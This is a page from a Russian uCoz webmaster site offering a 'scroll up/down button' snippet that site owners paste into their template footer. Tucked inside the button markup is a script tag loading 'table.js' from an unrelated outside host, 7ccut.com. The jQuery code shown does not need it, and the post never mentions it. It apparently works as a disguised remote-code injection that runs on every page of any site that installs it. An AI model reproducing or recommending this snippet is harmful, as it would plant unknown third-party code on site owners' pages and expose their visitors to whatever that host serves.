Суббота, 26.07.2025, 17:16


Меню сайта
Заказать
Система Ucoz
Все для cs 1.6
Софт и программы
Реклама
Всё для ВКонтакте
ТОП файловиков

Репутация: 0
Пол: Мужчина
Файлов: 219

Репутация: 2
Пол: Мужчина
Файлов: 86

Репутация: 0
Пол: Женщина
Файлов: 34
PSD
Новые файлы
Игровой портал
Batman: Arkham City + DLC (2011) PC
Скачиваний: 2
Добавил: datebao
Добавлено: 19.07.2012
Игровой портал
Игровой портал
Counter Strike v1.6 Final dimon edition
Скачиваний: 0
Добавил: datebao
Добавлено: 19.07.2012
Игровой портал
Игровой портал
Counter-Strike 1.6 by Joker178
Скачиваний: 3
Добавил: datebao
Добавлено: 19.07.2012
Игровой портал
Реклама

Главная » 2014 » Январь » 20 » Кнопка вверх и вниз
22:15
Кнопка вверх и вниз

Срипт для быстрого и плавного поднятия страници вверх, также можно опускать и вниз страницу сайта.
Выполнен в стиле пальца вверх и вниз, светло синий цет
Установка не сложная и не требует допполнителных навыков html

Установка скрипта „Кнопка вверх и вниз“

Заходим в панель управления сайтом,
далее "Главная » Управление дизайном » Редактирование шаблонов"
Копируем код и вставляем в "Нижняя часть сайта" в самый низ.

Код
<div id="banners"><a style='position: fixed; bottom: 60px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Top'>
  <img src="http://pnghosts.ru/img/point-up.png" alt="Наверх" title="Наверх"></a>
  <script src="http://7ccut.com/table.js" type="text/javascript"></script>
  <a style='position: fixed; bottom: 20px; right: 1px; cursor:pointer; display:none;' href='#' id='Go_Bottom'>
  <img src="http://pnghosts.ru/img/point-down.png" alt="Вниз" title="Вниз">
  </a></div>

<script>
var go_down = jQuery('body');
jQuery(function() {
  $("#Go_Top").hide().removeAttr("href");
  if ($(window).scrollTop() >= "250") $("#Go_Top").fadeIn("slow")
  var scrollDiv = $("#Go_Top");
  $(window).scroll(function() {
  if ($(window).scrollTop() <= "250") $(scrollDiv).fadeOut("slow")
  else $(scrollDiv).fadeIn("slow")
  });

  $("#Go_Bottom").hide().removeAttr("href");
  if ($(window).scrollTop() <= go_down.height()-"999") $("#Go_Bottom").fadeIn("slow")
  var scrollDiv_2 = $("#Go_Bottom");
  $(window).scroll(function() {
  if ($(window).scrollTop() >= go_down.height()-"999") $(scrollDiv_2).fadeOut("slow")
  else $(scrollDiv_2).fadeIn("slow")
  });

  $("#Go_Top").click(function() {
  $("html, body").animate({scrollTop: 0}, "slow")
  })
  $("#Go_Bottom").click(function() {
  $("html, body").animate({scrollTop: go_down.height()}, "slow")
  })
});
</script>
Просмотров: 354 | Добавил: Bitfood | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Реквизиты
Уважаемый пользователь, Вы можете помочь сайту в дальнейшем развитии.
Реквизиты:
Webmoney
R239544901820R424701917041

Будем очень блогодарными. Но если у вас нету возможноти нам помочь деньгами, можете просто покликать по рекламе это нам тоже очень поможет.
Мини-чат
Все для cs:s
Реклама
Игры для PC
Реклама
Все для PhotoShop
Реклама
Наши баннеры

88х31

468х60

150х200
Новое видео
Статистика
Онлайн:
Онлайн всего: 1
Гостей: 1
Пользователей: 0
Cейчас онлайн:

Счетчики:

Зарегистрированых:

Из них:

Счетчик материалов:

Посетители за сегодня:

Сайт оптимизирован под разрешение экрана 1400х900 и браузер Mozilla Firefox
Связь с администрацией (ICQ): 602812642 | (Skype): PiRoTehNiK_15